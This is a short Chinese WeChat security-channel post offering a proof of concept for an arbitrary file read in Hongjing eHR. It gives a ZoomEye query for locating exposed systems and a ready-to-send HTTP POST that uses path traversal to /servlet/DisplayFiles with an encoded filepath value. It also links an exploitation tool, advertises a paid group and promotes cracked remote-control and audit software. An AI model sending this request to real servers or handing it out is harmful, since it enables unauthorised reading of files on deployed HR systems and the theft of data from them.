公众号机制改变,不设为星标你就看不见棉花糖啦QAQ
zoomeye语法
app:"宏景 HCM"
POC
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
filepath=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT
https://github.com/vaycore/HrmsTool
打个广告
棉花糖的付费群
内容超多超精彩哦~
👇有兴趣了解自己点开看吧👇
感谢您抽出
.
.
阅读本文
封面获取
本期封面
后台回复:0226封面
往期推荐
年度大瓜!15岁舔狗失恋传播大量公民隐私数据!
Pwn3更新Quantum破解版(远控工具)
Pwn3更新Sonarqube企业破解版(源代码审计工具)
原文始发于微信公众号(棉花糖网络安全圈):宏景eHR DisplayFiles 任意文件读取[附POC]
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论